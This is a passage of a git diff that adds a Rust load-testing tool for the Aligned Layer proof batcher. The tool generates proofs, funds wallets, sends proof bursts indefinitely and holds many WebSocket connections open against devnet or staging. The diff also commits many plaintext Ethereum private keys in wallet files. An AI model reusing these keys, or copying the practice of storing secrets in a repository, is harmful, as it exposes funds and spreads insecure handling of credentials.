following make target: +```bash +make anvil_start_with_block_time_with_more_prefunded +``` + +Then run the following make target, with `NUM_WALLETS` being the amount of wallets you want to deposit funds to aligned payment service, up to 1000. +```bash +NUM_WALLETS= make task_sender_generate_and_fund_wallets_devnet +``` + +## SendInfiniteProofs + +This command sends `BURST_SIZE` proofs from each private key in `PATH_TO_PRIVATE_KEYS_FILE` every `BURST_TIME_SECS` seconds. + +To vary the amount of senders, it is recommended to have a backup with all private keys, and add/remove keys from the file being used. + +To run it, you can: +```bash +cargo run --release -- send-infinite-proofs \ + --burst-size --burst-time-secs \ + --eth-rpc-url \ + --batcher-url \ + --network holesky-stage \ + --proofs-dirpath $(PWD)/scripts/test_files/task_sender/proofs \ + --private-keys-filepath +``` + +We also have the following related make targets +```bash +BURST_SIZE= BURST_TIME_SECS= make task_sender_send_infinite_proofs_devnet +``` +```bash +BURST_SIZE= BURST_TIME_SECS= make task_sender_send_infinite_proofs_holesky_stage +``` + +## TestConnections + +This command enables and hangs N connections with the Batcher. + +To run it, you can: +``` +cargo run --release -- test-connections \ + --batcher-url \ + --num-senders +``` + +We also have the following related make targets: +```bash +NUM_SENDERS= make task_sender_test_connections_devnet +``` +```bash +NUM_SENDERS= make task_sender_test_connections_holesky_stage +``` diff --git a/batcher/aligned-task-sender/rust-toolchain b/batcher/aligned-task-sender/rust-toolchain new file mode 100644 index 000000000..989860f40 --- /dev/null +++ b/batcher/aligned-task-sender/rust-toolchain @@ -0,0 +1,3 @@ +[toolchain] +channel = "nightly-2024-04-17" +components = ["llvm-tools", "rustc-dev"] diff --git a/batcher/aligned-task-sender/src/commands.rs b/batcher/aligned-task-sender/src/commands.rs new file mode 100644 index 000000000..8d6a90455 --- /dev/null +++ b/batcher/aligned-task-sender/src/commands.rs @@ -0,0 +1,453 @@ +use aligned_sdk::core::types::{Network, ProvingSystemId, VerificationData}; +use aligned_sdk::sdk::{deposit_to_aligned, get_nonce_from_ethereum, submit_multiple}; +use ethers::prelude::*; +use ethers::utils::parse_ether; +use futures_util::StreamExt; +use k256::ecdsa::SigningKey; +use log::{debug, error, info}; +use rand::seq::SliceRandom; +use rand::thread_rng; +use std::fs::{self, File}; +use std::io::ErrorKind; +use std::io::{BufRead, BufReader, Write}; +use std::process::Command; +use std::str::FromStr; +use std::thread; +use std::time::Duration; +use tokio::join; +use tokio_tungstenite::connect_async; + +use crate::structs::{ + GenerateAndFundWalletsArgs, GenerateProofsArgs, ProofType, SendInfiniteProofsArgs, + TestConnectionsArgs, +}; + +const GROTH_16_PROOF_GENERATOR_FILE_PATH: &str = + "../../scripts/test_files/gnark_groth16_bn254_infinite_script/cmd/main.go"; +pub async fn generate_proofs(args: GenerateProofsArgs) { + std::fs::create_dir_all(args.dir_to_save_proofs.clone()).expect("Could not create directory"); + + let mut handles = vec![]; + for i in 1..args.number_of_proofs + 1 { + let dir_to_save_proofs = args.dir_to_save_proofs.clone(); + + let handle = thread::spawn(move || { + match args.proof_type { + ProofType::Groth16 => { + let dir_to_save_proofs = + format!("{}/groth16_{}/", dir_to_save_proofs.clone(), i); + + // we need to create the directory as the go script does not handle it + if let Err(e) = fs::create_dir(dir_to_save_proofs.clone()) { + if e.kind() != ErrorKind::AlreadyExists { + eprintln!("Error creating directory: {}", e); + // Handle or log the error, but don't panic. + } + } + + Command::new("go") + .arg("run") + .arg(GROTH_16_PROOF_GENERATOR_FILE_PATH) + .arg(format!("{:?}", i)) + .arg(dir_to_save_proofs) + .status() + .unwrap(); + } + } + }); + handles.push(handle); + } + + for handle in handles { + let _ = handle.join(); + } +} + +pub async fn generate_and_fund_wallets(args: GenerateAndFundWalletsArgs) { + if matches!(args.network.into(), Network::Devnet) { + let Ok(eth_rpc_provider) = Provider::::try_from(args.eth_rpc_url.clone()) else { + error!("Could not connect to eth rpc"); + return; + }; + let Ok(chain_id) = eth_rpc_provider.get_chainid().await else { + error!("Could not get chain id"); + return; + }; + let amount_to_deposit_to_aligned = + parse_ether(&args.amount_to_deposit_to_aligned).expect("Ether format should be: XX.XX"); + + let file = match File::open(&args.private_keys_filepath) { + Ok(f) => f, + Err(err) => { + error!("Could not open private keys file: {}", err.to_string()); + return; + } + }; + let file_reader = BufReader::new(file); + + let mut handles = vec![]; + for (i, line) in file_reader.lines().enumerate() { + // Load the wallet + let private_key_str = line.unwrap(); + let wallet = Wallet::from_str(private_key_str.trim()) + .expect("Invalid private key") + .with_chain_id(chain_id.as_u64()); + + // Send funds to aligned from the wallet + let funded_wallet_signer = + SignerMiddleware::new(eth_rpc_provider.clone(), wallet.clone()); + tokio::time::sleep(Duration::from_millis(50)).await; // To avoid overloading the RPC + let handle = tokio::spawn(async move { + if let Err(err) = deposit_to_aligned( + amount_to_deposit_to_aligned, + funded_wallet_signer.clone(), + args.network.into(), + ) + .await + { + error!("Could not deposit to aligned, err: {:?}", err); + return; + } + info!("Successfully deposited to aligned for wallet {}", i); + }); + handles.push(handle); + } + + for handle in handles { + handle.await.expect("The task panicked"); + } + + info!("All wallets funded"); + + return; + } + + info!("Creating and funding wallets"); + let Ok(eth_rpc_provider) = Provider::::try_from(args.eth_rpc_url.clone()) else { + error!("Could not connect to eth rpc"); + return; + }; + let Ok(chain_id) = eth_rpc_provider.get_chainid().await else { + error!("Could not get chain id"); + return; + }; + + let file = File::create(&args.private_keys_filepath); + let mut file = match file { + Ok(f) => f, + Err(err) => { + error!("Could not open private keys file: {}", err.to_string()); + return; + } + }; + + let funding_wallet = args + .funding_wallet_private_key + .parse::>() + .expect("Invalid private key") + .with_chain_id(chain_id.as_u64()); + + for i in 0..args.number_of_wallets { + // this is necessary because of the move + let eth_rpc_provider = eth_rpc_provider.clone(); + let funding_wallet = funding_wallet.clone(); + let amount_to_deposit = args.amount_to_deposit.clone(); + let amount_to_deposit_aligned = args.amount_to_deposit_to_aligned.clone(); + + // Generate new wallet + let wallet = Wallet::new(&mut thread_rng()).with_chain_id(chain_id.as_u64()); + info!("Generated wallet {} with address {:?}", i, wallet.address()); + + // Fund the wallet + let signer = SignerMiddleware::new(eth_rpc_provider.clone(), funding_wallet.clone()); + let amount_to_deposit = + parse_ether(&amount_to_deposit).expect("Ether format should be: XX.XX"); + info!("Depositing {}wei to wallet {}", amount_to_deposit, i); + let tx = TransactionRequest::new() + .from(funding_wallet.address()) + .to(wallet.address()) + .value(amount_to_deposit); + + let pending_transaction = match signer.send_transaction(tx, None).await { + Ok(tx) => tx, + Err(err) => { + error!("Could not fund wallet {}", err.to_string()); + return; + } + }; + if let Err(err) = pending_transaction.await { + error!("Could not fund wallet {}", err.to_string()); + } + info!("Wallet {} funded", i); + + // Deposit to aligned + let amount_to_deposit_to_aligned = + parse_ether(&amount_to_deposit_aligned).expect("Ether format should be: XX.XX"); + info!( + "Depositing {}wei to aligned {}", + amount_to_deposit_to_aligned, i + ); + let signer = SignerMiddleware::new(eth_rpc_provider.clone(), wallet.clone()); + if let Err(err) = + deposit_to_aligned(amount_to_deposit_to_aligned, signer, args.network.into()).await + { + error!("Could not deposit to aligned, err: {:?}", err); + return; + } + info!("Successfully deposited to aligned for wallet {}", i); + + // Store private key + info!("Storing private key"); + let signer_bytes = wallet.signer().to_bytes(); + let secret_key_hex = ethers::utils::hex::encode(signer_bytes); + + if let Err(err) = writeln!(file, "{}", secret_key_hex) { + error!("Could not store private key: {}", err.to_string()); + } else { + info!("Private key {} stored", i); + } + } +} + +/// infinitely hangs connections +pub async fn test_connection(args: TestConnectionsArgs) { + if args.batcher_url == "wss://batcher.alignedlayer.com" { + error!("Network not supported by the connection tester"); + return; + } + info!("Going to only open a connection"); + let mut handlers = vec![]; + + for i in 0..args.num_senders { + let ws_url = args.batcher_url.clone(); + let handle = tokio::spawn(async move { + let conn = connect_async(ws_url).await; + if let Ok((mut ws_stream, _)) = conn { + info!("Opened connection for {}", i); + while let Some(msg) = ws_stream.next().await { + match msg { + Ok(message) => debug!("Received message: {:?}", message), + Err(e) => { + info!("WebSocket error: {}", e); + break; + } + } + } + } else { + error!("Could not connect to socket, err {:?}", conn.err()); + } + }); + handlers.push(handle); + } + + for handle in handlers { + let _ = join!(handle); + } +} + +struct Sender { + wallet: Wallet, +} + +pub async fn send_infinite_proofs(args: SendInfiniteProofsArgs) { + if matches!(args.network.into(), Network::Holesky) { + error!("Network not supported this infinite proof sender"); + return; + } + + info!("Loading wallets"); + let mut senders = vec![]; + let Ok(eth_rpc_provider) = Provider::::try_from(args.eth_rpc_url.clone()) else { + error!("Could not connect to eth rpc"); + return; + }; + let Ok(chain_id) = eth_rpc_provider.get_chainid().await else { + error!("Could not get chain id"); + return; + }; + + let file = match File::open(&args.private_keys_filepath) { + Ok(file) => file, + Err(err) => { + error!("Could not open private keys file: {}", err.to_string()); + return; + } + }; + + let reader = BufReader::new(file); + + // now here we need to load the senders from the provided files + for line in reader.lines() { + let private_key_str = match line { + Ok(line) => line, + Err(err) => { + error!( + "Could not read line from private keys file: {}", + err.to_string() + ); + return; + } + }; + let wallet = Wallet::from_str(private_key_str.trim()).expect("Invalid private key"); + let wallet = wallet.with_chain_id(chain_id.as_u64()); + let sender = Sender { wallet }; + + // info!("Wallet {} loaded", i); + senders.push(sender); + } + + if senders.is_empty() { + error!("No wallets in file"); + return; + } + info!("All wallets loaded"); + + info!("Loading proofs verification data"); + let verification_data = + get_verification_data_from_proofs_folder(args.proofs_dir, senders[0].wallet.address()); + if verification_data.is_empty() { + error!("Verification data empty, not continuing"); + return; + } + info!("Proofs loaded!"); + + let max_fee = U256::from_dec_str(&args.max_fee).expect("Invalid max fee"); + + let mut handles = vec![]; + info!("Starting senders!"); + for (i, sender) in senders.iter().enumerate() { + // this is necessary because of the move + let eth_rpc_url = args.eth_rpc_url.clone(); + let batcher_url = args.batcher_url.clone(); + let wallet = sender.wallet.clone(); + let verification_data = verification_data.clone(); + + // a thread to send tasks from each loaded wallet: + let handle = tokio::spawn(async move { + let mut nonce = + get_nonce_from_ethereum(ð_rpc_url, wallet.address(), args.network.into()) + .await + .inspect_err(|e| { + error!( + "Could not get nonce: {:?}, for sender {:?}", + e, + wallet.address() + ) + }) + .unwrap(); + + loop { + let mut result = Vec::with_capacity(args.burst_size); + while result.len() < args.burst_size { + let samples = verification_data + .choose_multiple(&mut thread_rng(), args.burst_size - result.len()); + result.extend(samples.cloned()); + } + let verification_data_to_send = result; + + info!( + "Sending {:?} Proofs to Aligned Batcher on {:?} from sender {}, nonce: {}, address: {:?}", + args.burst_size, args.network, i, nonce, wallet.address(), + ); + let batcher_url = batcher_url.clone(); + + let aligned_verification_data = submit_multiple( + &batcher_url.clone(), + args.network.into(), + &verification_data_to_send.clone(), + max_fee, + wallet.clone(), + nonce, + ) + .await; + + for aligned_verification_data in aligned_verification_data { + match aligned_verification_data { + Ok(_) => { + debug!("Response received for sender {}", i); + nonce += U256::from(1); + } + Err(e) => { + error!( + "Error submitting proofs to aligned: {:?} from sender {}", + e, i + ); + } + } + } + info!("All responses received for sender {}", i); + + tokio::time::sleep(Duration::from_secs(args.burst_time_secs)).await; + } + }); + + handles.push(handle); + } + + for handle in handles { + let _ = join!(handle); + } +} + +/// Returns the corresponding verification data for the generated proofs directory +fn get_verification_data_from_proofs_folder( + dir_path: String, + default_addr: Address, +) -> Vec { + let mut verifications_data = vec![]; + + info!("Reading proofs from {:?}", dir_path); + + let dir = std::fs::read_dir(dir_path).expect("Directory does not exists"); + + for proof_folder in dir { + // each proof_folder is a dir called groth16_n + let proof_folder_dir = proof_folder.unwrap().path(); + if proof_folder_dir.is_dir() { + // todo(marcos): this should be improved if we want to support more proofs + // currently we stored the proofs on subdirs with a prefix for the proof type + // and here we check the subdir name and based on build the verification data accordingly + if proof_folder_dir.to_str().unwrap().contains("groth16") { + // Get the first file from the folder + let first_file = fs::read_dir(proof_folder_dir.clone()) + .expect("Can't read proofs directory") + .filter_map(|entry| entry.ok().map(|e| e.path())) + .find(|path| path.is_file()) // Find any valid file + .expect("No valid proof files found"); + + // Extract the base name (file stem) without extension + let base_name = first_file + .file_stem() + .and_then(|s| s.to_str()) + .expect("Failed to extract base name"); + + // Generate the paths for the other files + let proof_path = proof_folder_dir.join(format!("{}.proof", base_name)); + let public_input_path = proof_folder_dir.join(format!("{}.pub", base_name)); + let vk_path = proof_folder_dir.join(format!("{}.vk", base_name)); + + let Ok(proof) = std::fs::read(&proof_path) else { + continue; + }; + let Ok(public_input) = std::fs::read(&public_input_path) else { + continue; + }; + let Ok(vk) = std::fs::read(&vk_path) else { + continue; + }; + + let verification_data = VerificationData { + proving_system: ProvingSystemId::Groth16Bn254, + proof, + pub_input: Some(public_input), + verification_key: Some(vk), + vm_program_code: None, + proof_generator_addr: default_addr, + }; + verifications_data.push(verification_data); + } + } + } + + verifications_data +} diff --git a/batcher/aligned-task-sender/src/lib.rs b/batcher/aligned-task-sender/src/lib.rs new file mode 100644 index 000000000..008ff5cc5 --- /dev/null +++ b/batcher/aligned-task-sender/src/lib.rs @@ -0,0 +1,2 @@ +pub mod commands; +pub mod structs; diff --git a/batcher/aligned-task-sender/src/main.rs b/batcher/aligned-task-sender/src/main.rs new file mode 100644 index 000000000..f726cd1e8 --- /dev/null +++ b/batcher/aligned-task-sender/src/main.rs @@ -0,0 +1,21 @@ +use clap::Parser; +use env_logger::Env; +use task_sender::{ + commands, + structs::{TaskSenderArgs, TaskSenderCommands}, +}; + +#[tokio::main] +async fn main() { + env_logger::Builder::from_env(Env::default().default_filter_or("info")).init(); + let args = TaskSenderArgs::parse(); + + match args.command { + TaskSenderCommands::GenerateAndFundWallets(args) => { + commands::generate_and_fund_wallets(args).await + } + TaskSenderCommands::GenerateProofs(args) => commands::generate_proofs(args).await, + TaskSenderCommands::SendInfiniteProofs(args) => commands::send_infinite_proofs(args).await, + TaskSenderCommands::TestConnections(args) => commands::test_connection(args).await, + } +} diff --git a/batcher/aligned-task-sender/src/structs.rs b/batcher/aligned-task-sender/src/structs.rs new file mode 100644 index 000000000..a1c449f72 --- /dev/null +++ b/batcher/aligned-task-sender/src/structs.rs @@ -0,0 +1,168 @@ +use aligned_sdk::core::types::Network; +use clap::Parser; +use clap::Subcommand; +use clap::ValueEnum; + +#[derive(Parser, Debug)] +#[command(version, about, long_about = None)] +pub struct TaskSenderArgs { + #[clap(subcommand)] + pub command: TaskSenderCommands, +} + +#[derive(Subcommand, Debug)] +pub enum TaskSenderCommands { + #[clap(about = "Genere proofs")] + GenerateProofs(GenerateProofsArgs), + #[clap(about = "Open socket connections with batcher")] + TestConnections(TestConnectionsArgs), + #[clap(about = "Send infinite proofs from a private-keys file")] + SendInfiniteProofs(SendInfiniteProofsArgs), + #[clap(about = "Generates wallets and funds it in aligned from one wallet")] + GenerateAndFundWallets(GenerateAndFundWalletsArgs), +} + +#[derive(Parser, Debug)] +#[command(version, about, long_about = None)] +pub struct GenerateProofsArgs { + #[arg(name = "The number of proofs to generate", long = "number-of-proofs")] + pub number_of_proofs: usize, + #[arg(name = "The type of proof to generate", long = "proof-type")] + pub proof_type: ProofType, + #[arg( + name = "The directory to which save the proofs. You'd then provide this path when sending proofs", + long = "dir-to-save-proofs" + )] + pub dir_to_save_proofs: String, +} + +#[derive(Parser, Clone, Debug, ValueEnum)] +pub enum ProofType { + Groth16, +} + +#[derive(Parser, Debug)] +#[command(version, about, long_about = None)] +pub struct GenerateAndFundWalletsArgs { + #[arg( + name = "Ethereum RPC provider connection address", + long = "eth-rpc-url", + default_value = "http://localhost:8545" + )] + pub eth_rpc_url: String, + #[arg( + name = "The funding wallet private key", + long = "funding-wallet-private-key", + default_value = "" + )] + pub funding_wallet_private_key: String, + #[arg( + name = "The number of wallets to generate", + long = "number-wallets", + default_value = "1" + )] + pub number_of_wallets: usize, + #[arg( + name = "The amount to deposit to the wallets in ether", + long = "amount-to-deposit" + )] + pub amount_to_deposit: String, + #[arg( + name = "The amount to deposit to aligned in ether", + long = "amount-to-deposit-to-aligned" + )] + pub amount_to_deposit_to_aligned: String, + #[arg( + name = "The filepath to which to save the generated wallets's private key", + long = "private-keys-filepath" + )] + pub private_keys_filepath: String, + #[arg( + name = "The Ethereum network's name", + long = "network", + default_value = "devnet" + )] + pub network: NetworkArg, +} + +#[derive(Parser, Debug)] +#[command(version, about, long_about = None)] +pub struct TestConnectionsArgs { + #[arg( + name = "Batcher connection address", + long = "batcher-url", + default_value = "ws://localhost:8080" + )] + pub batcher_url: String, + #[arg( + name = "Number of spawned sockets", + long = "num-senders", + default_value = "1" + )] + pub num_senders: usize, +} + +#[derive(Parser, Debug)] +#[command(version, about, long_about = None)] +pub struct SendInfiniteProofsArgs { + #[arg( + name = "Ethereum RPC provider connection address", + long = "eth-rpc-url", + default_value = "http://localhost:8545" + )] + pub eth_rpc_url: String, + #[arg( + name = "Batcher connection address", + long = "batcher-url", + default_value = "ws://localhost:8080" + )] + pub batcher_url: String, + #[arg( + name = "Number of proofs per burst", + long = "burst-size", + default_value = "10" + )] + pub burst_size: usize, + #[arg( + name = "Time to wait between bursts in seconds", + long = "burst-time-secs", + default_value = "3" + )] + pub burst_time_secs: u64, + #[arg(name = "Max Fee", long = "max-fee", default_value = "1300000000000000")] + pub max_fee: String, + #[arg( + name = "The Ethereum network's name", + long = "network", + default_value = "devnet" + )] + pub network: NetworkArg, + #[arg( + name = "Private keys filepath for the senders", + long = "private-keys-filepath" + )] + pub private_keys_filepath: String, + #[arg( + name = "The generated proofs directory", + long = "proofs-dirpath", + default_value = "devnet" + )] + pub proofs_dir: String, +} + +#[derive(Debug, Clone, Copy, ValueEnum)] +pub enum NetworkArg { + Devnet, + Holesky, + HoleskyStage, +} + +impl From for Network { + fn from(chain_arg: NetworkArg) -> Self { + match chain_arg { + NetworkArg::Devnet => Network::Devnet, + NetworkArg::Holesky => Network::Holesky, + NetworkArg::HoleskyStage => Network::HoleskyStage, + } + } +} diff --git a/batcher/aligned-task-sender/wallets/devnet b/batcher/aligned-task-sender/wallets/devnet new file mode 100644 index 000000000..42cb8555e --- /dev/null +++ b/batcher/aligned-task-sender/wallets/devnet @@ -0,0 +1 @@ +0xc01362fbec4384a90802c33a2f31b925e7d22b6e36c657fc317c7139ff19e097 diff --git a/batcher/aligned-task-sender/wallets/devnet-backup b/batcher/aligned-task-sender/wallets/devnet-backup new file mode 100644 index 000000000..1d910473d --- /dev/null +++ b/batcher/aligned-task-sender/wallets/devnet-backup @@ -0,0 +1,1990 @@ +0xf214f2b2cd398c806f84e317254e0f0b801d0643303237d97a22a48e01628897 +0x701b615bbdfb9de65240bc28bd21bbc0d996645a3dd57e7b12bc2bdf6f192c82 +0xa267530f49f8280200edf313ee7af6b827f2a8bce2897751d06a843f644967b1 +0x47c99abed3324a2707c28affff1267e45918ec8c3f20b8aa892e8b065d2942dd +0xc526ee95bf44d8fc405a158bb884d9d1238d99f0612e9f33d006bb0789009aaa +0x8166f546bab6da521a8369cab06c5d2b9e46670292d85c875ee9ec20e84ffb61 +0xea6c44ac03bff858b476bba40716402b03e41b8e97e276d1baec7c37d42484a0 +0x689af8efa8c651a91ad287602527f3af2fe9f6501a7ac4b061667b5a93e037fd +0xde9be858da4a475276426320d5e9262ecfc3ba460bfac56360bfa6c4c28b4ee0 +0xdf57089febbacf7ba0bc227dafbffa9fc08a93fdc68e1e42411a14efcf23656e +0xeaa861a9a01391ed3d587d8a5a84ca56ee277629a8b02c22093a419bf240e65d +0xc511b2aa70776d4ff1d376e8537903dae36896132c90b91d52c1dfbae267cd8b +0x224b7eb7449992aac96d631d9677f7bf5888245eef6d6eeda31e62d2f29a83e4 +0x4624e0802698b9769f5bdb260a3777fbd4941ad2901f5966b854f953497eec1b +0x375ad145df13ed97f8ca8e27bb21ebf2a3819e9e0a06509a812db377e533def7 +0x18743e59419b01d1d846d97ea070b5a3368a3e7f6f0242cf497e1baac6972427 +0xe383b226df7c8282489889170b0f68f66af6459261f4833a781acd0804fafe7a +0xf3a6b71b94f5cd909fb2dbb287da47badaa6d8bcdc45d595e2884835d8749001 +0x4e249d317253b9641e477aba8dd5d8f1f7cf5250a5acadd1229693e262720a19 +0x233c86e887ac435d7f7dc64979d7758d69320906a0d340d2b6518b0fd20aa998 +0x85a74ca11529e215137ccffd9c95b2c72c5fb0295c973eb21032e823329b3d2d +0xac8698a440d33b866b6ffe8775621ce1a4e6ebd04ab7980deb97b3d997fc64fb +0xf076539fbce50f0513c488f32bf81524d30ca7a29f400d68378cc5b1b17bc8f2 +0x5544b8b2010dbdbef382d254802d856629156aba578f453a76af01b81a80104e +0x47003709a0a9a4431899d4e014c1fd01c5aad19e873172538a02370a119bae11 +0x9644b39377553a920edc79a275f45fa5399cbcf030972f771d0bca8097f9aad3 +0xcaa7b4a2d30d1d565716199f068f69ba5df586cf32ce396744858924fdf827f0 +0xfc5a028670e1b6381ea876dd444d3faaee96cffae6db8d93ca6141130259247c +0x5b92c5fe82d4fabee0bc6d95b4b8a3f9680a0ed7801f631035528f32c9eb2ad5 +0xb68ac4aa2137dd31fd0732436d8e59e959bb62b4db2e6107b15f594caf0f405f +0xc95eaed402c8bd203ba04d81b35509f17d0719e3f71f40061a2ec2889bc4caa7 +0x55afe0ab59c1f7bbd00d5531ddb834c3c0d289a4ff8f318e498cb3f004db0b53 +0xc3f9b30f83d660231203f8395762fa4257fa7db32039f739630f87b8836552cc +0x3db34a7bcc6424e7eadb8e290ce6b3e1423c6e3ef482dd890a812cd3c12bbede +0xae2daaa1ce8a70e510243a77187d2bc8da63f0186074e4a4e3a7bfae7fa0d639 +0x5ea5c783b615eb12be1afd2bdd9d96fae56dda0efe894da77286501fd56bac64 +0xf702e0ff916a5a76aaf953de7583d128c013e7f13ecee5d701b49917361c5e90 +0x7ec49efc632757533404c2139a55b4d60d565105ca930a58709a1c52d86cf5d3 +0x755e273950f5ae64f02096ae99fe7d4f478a28afd39ef2422068ee7304c636c0 +0xaf6ecabcdbbfb2aefa8248b19d811234cd95caa51b8e59b6ffd3d4bbc2a6be4c +0x70c2bd1b41084c2e2238551eace483321f8c1a413a471c3b49c8a5d1d6b3d0c4 +0xcb8e373c93609268cdcec93450f3578b92bb20c3ac2e77968d106025005f97b5 +0x6f29f6e0b750bcdd31c3403f48f11d72215990375b6d23380b39c9bbf854a7d3 +0xff249f7eba6d8d3a65794995d724400a23d3b0bd1714265c965870ef47808be8 +0x5599a7be5589682da3e0094806840e8510dae6493665a701b06c59cbe9d97968 +0x93de2205919f5b472723722fedb992e962c34d29c4caaedd82cd33e16f1fd3cf +0xd20ecf81c6c3ad87a4e8dbeb7ceef41dd0eebc7a1657efb9d34e47217694b5cb +0xe4058704ed240d68a94b6fb226824734ddabd4b1fe37bc85ce22f5b17f98830e +0x4ae4408221b5042c0ee36f6e9e6b586a00d0452aa89df2e7f4f5aec42152ec43 +0x0e7c38ba429fa5081692121c4fcf6304ca5895c6c86d31ed155b0493c516107f +0xd5df67c2e4da3ff9c8c6045d9b7c41581efeb2a3660921ad4ba863cc4b8c211c +0x92456ac1fa1ef65a04fb4689580ad5e4cda7369f3620ef3a02fa4015725f460a +0x65b10e7d7315bb8b7f7c6eefcbd87b36ad4007c4ade9c032354f016e84ad9c5e +0x365820b3376c77dab008476d49f7cd7af87fc7bbd57dc490378106c3353b2b33 +0xb07579b9864bb8e69e8b6e716284ab5b5f39fe5bb57ae4c83af795a242390202 +0xbf071d2b017426fcbf763cce3b3efe3ffc9663a42c77a431df521ef6c79cacad +0x8bbffff1588b3c4eb8d415382546f6f6d5f0f61087c3be7c7c4d9e0d41d97258 +0xb658f0575a14a7ac05075cb0f8727f0aae168a091dfb32d92514d1a7c11cf498 +0x228330af91fa515d7514cf5ac6594ab90b296cbd8ff7bc4567306aa66cacd79f +0xe6f80f9618311c0cd58f6a3fc6621cdbf6da4a72cc42e2974c98829343e7927b +0x36d0435aa9a2c24d72a0aa69673b3acc2649969c38a581103df491aac6c33dd4 +0xf3ed98f9148171cfed177aef647e8ac0e2579075f640d05d37df28e6e0551083 +0x8fc20c439fd7cf4f36217471a5db7594188540cf9997a314520a018de27544dd +0x549078aab3adafeff862b2d40b6b27756c5c4669475c3367edfb8dcf63ea1ae5 +0xacf192decb2e4ddd8ad61693ab8edd67e3620b2ed79880ff4e1e04482c52c916 +0x47dc59330fb8c356ef61c55c11f9bb49ee463df50cbfe59f389de7637037b029 +0xf0050439b33fd77f7183f44375bc43a869a9880dca82a187fab9be91e020d029 +0xe995cc7ea38e5c2927b97607765c2a20f4a6052d6810a3a1102e84d77c0df13b +0x8232e778c8e32eddb268e12aee5e82c7bb540cc176e150d64f35ee4ae2faf2b2 +0xba8c9ff38e4179748925335a9891b969214b37dc3723a1754b8b849d3eea9ac0 +0xe66935494406a2b7cddd5b90f0a416cd499353f9f5b16d3f53e9db79b5af315c +0xdf1d05a0dc7ff9b702517352bbcc48cd78c4f1c8e7e0be4a7e8c9d8a01318dca +0xaf905e7d181f83cf2b32316c035db8cc6dc37b8ee658a39c648a40f7f5aea732 +0x2e07199788560fbb67ad75c647ab4c1288c035e370cd8efd8cc98c117a9e1dbc +0xbeab65f35a77de7af63a97748e6a3bb90372f9225ebc6e8d0f1dc14098ac683a +0x0ae04d323697ac9f6590e30ac497b8bb84ba66a3f7db8648792e92a5773c9dc7 +0x7cda9d93162b809fb8474f22c724da7e9590ac3bfba54ec15bdd54953ab3e5ff +0xf6702b85537d0a844debc36e28e409af35c683a0d968ff1a01eab8bc17542397 +0x4034badb4e3cdf45d4032c7671a82d4967a0ce4c1bf3ddb72bf8fba38c151f6f +0x967483ff906486d78577d1749000ddcee7c65f480f154fb5d9d45170f0489d33 +0x9c9186fb8f85adc661f3da56dd64e3b9a3f95b17c05ed9c6561f9ee9225da327 +0xef463dfdd318a103afeb0e4e75b3c3c0b13a681c2dc48b22bc05a949d5fa28d5 +0x165b52d20a0ebc82b1e87bd02e221f3a2bec6ff6f61326eea3e6180cc23ccf43 +0x945ff88d4066b8f6d61eb1dbc7c31dc1ad0078b8a781e0ea7b4c4f097e62dfd3 +0x1ecfea2bcec4e5e3af2430ae90d554bc272cd7743efb66138c90840c729ebffe +0xa6d83a50114f5bbd5557832caf948c4f202e31e7f8dd3bffdb579bf78dc4c166 +0xf6b39438613b3f5dae4e84a73e90ea8a4efa0ab7b69cc532fdfe3932d20d52bb +0x41f789906acc91db1f402d803b8537830856da0211f4ccf22f526d918b26c881 +0xc1b5e6b1cd081956fa11c35329eeb84d31bceaf7253e84e0f90323d55065aa1f +0xa3f5fbad1692c5b72802300aefb5b760364018018ddb5fe7589a2203d0d10e60 +0xdae4671006c60a3619556ace98eca6f6e092948d05b13070a27ac492a4fba419 +0x13986e078393fca89aedc2ecd014df01dfbff153434c04b2e38cfedcbef710f7 +0x7382cc0c1dd9fc4ff87ed969fafac4c040ebd4890d0b8fa35781524df5b15476 +0x360e8f096c6aaec3c922df1a82a7b954b69b42bdc20a6b71b2f50438c13d2ec5 +0x956840865a0d252ee192c683c48befc5d8432aa7b334be6cb79133cfacfcda1a +0x9dece36dc7cb98e2e521e85efa7417d68744f00ab93caf70ec39dc3d6b16d916 +0xc69422615b990ce3dbed91d6ed41e378ff92f0ebf23b8d18bf3db912c6797fa1 +0xbb78950939f8a5d5c0d3225d4d38cbfd7eace2c2b8347fa8ca97726cd10e486a +0x42e75fe4e54a2126d34a7e302d8dff04d888dbd434a6c690cfc2e1e3d9499c10 +0xb479c6ebcce0347b5a9335f52519198307f01a7c4917e6b1e93e123a77e74aff +0x9e4e3ca5a15203ef569824c74164789921d372c12b83f1aeba7d4e096a8338fd +0x3659cf616cb9eff3ecdd1ce36221a3744df6deb907007dc2ad4330dc66aa2d13 +0x23fe537a715500e8edf9a949d1a5894fd5296a257b412e6f7e598b22bc62b060 +0xf1a9dd9e1f43e6832b9950520b8fe73203d14f171cb5b07dceb0d3090878045f +0x2130940937fb474f9a6ac3ea114536c5d693ae1f918bec1e33e98de810db312e +0x755e7b431c9224a9d798e1c03d0f8d7084486aeee98ab8ea87d4538a502a73c8 +0x914a73ad0b138eedf80704f9ccd81be56f33bbd5f8b371c82de3b6b6a5a23ff7 +0xf40eb48d6b4964072dad455aadf0f84e94d00a19695865bbe226f9b560c9ed76 +0x69fcf89b49fb124ae6f6004a7028184cc8620f1d6e9daa9f97098ef693a03f80 +0xcb926b6ec105a6c4a04a64dd1edab6b2a52c4ad5ec91ea1155ed80e43d4b5753 +0xeb949ffe81c4e6f9c0802eb23f2352143584e124420c529f7f36e99a4388f8dd +0xe1c267d388404c17aa37690dd952df1f92d77cafd9586a8f1ec55bcb76a7bd72 +0xc6c3aac097ed6d31631dfa9e90afcfc017fe3bebdc2a25228b76cc89ea2329e2 +0xcdfe2ef67fba32ae8f2eaef3404b9326e497856c95a7e892b5cd14d6c0db9bba +0x4e2860f6001eda84086f8334a1fb30c9f7da9a9945cf477d07da504a40a3ffaa +0xe8a11992568a8a9f8ef966dc68237833fc726d4c78718c0aba510b029dab86e5 +0xd7cb3084b252751f5a6a3ec06a267451d390724fdb3f572560d998af8d00dae0 +0x9e56ccf010fa4073274b8177ccaad46fbaf286645310d03ac9bb6afa922a7c36 +0x3485433f309a15382a616266b0d9bcad7bfd94026f51ddf226a9b2c01100753f +0xff95c96bf8aeb045cb4412b6a5790ee415ac56cdb2f793d3d39ed2b99bf36d7b +0x04aa05e0090ecde1658293ac3c2e2e5815d12b3eea881c4f3a03f438d5702550 +0x3fb3e3897798d4aeef73cd15a4fcc08589aaabec2d2ae8edd9aa0af4de818d51 +0x8a9c0a6175796266811b71b781b5e904ddf2667577821f1ea771a095b34d1e2d +0x3f3902b5229286a6ae7aab0accae2f75fb3350b009c6a3dcef9010fa7fd88f86 +0x9f3164decddb563079c43f281edc6fafdb6cbbaf5fcae2d94bc061ac5db1198b 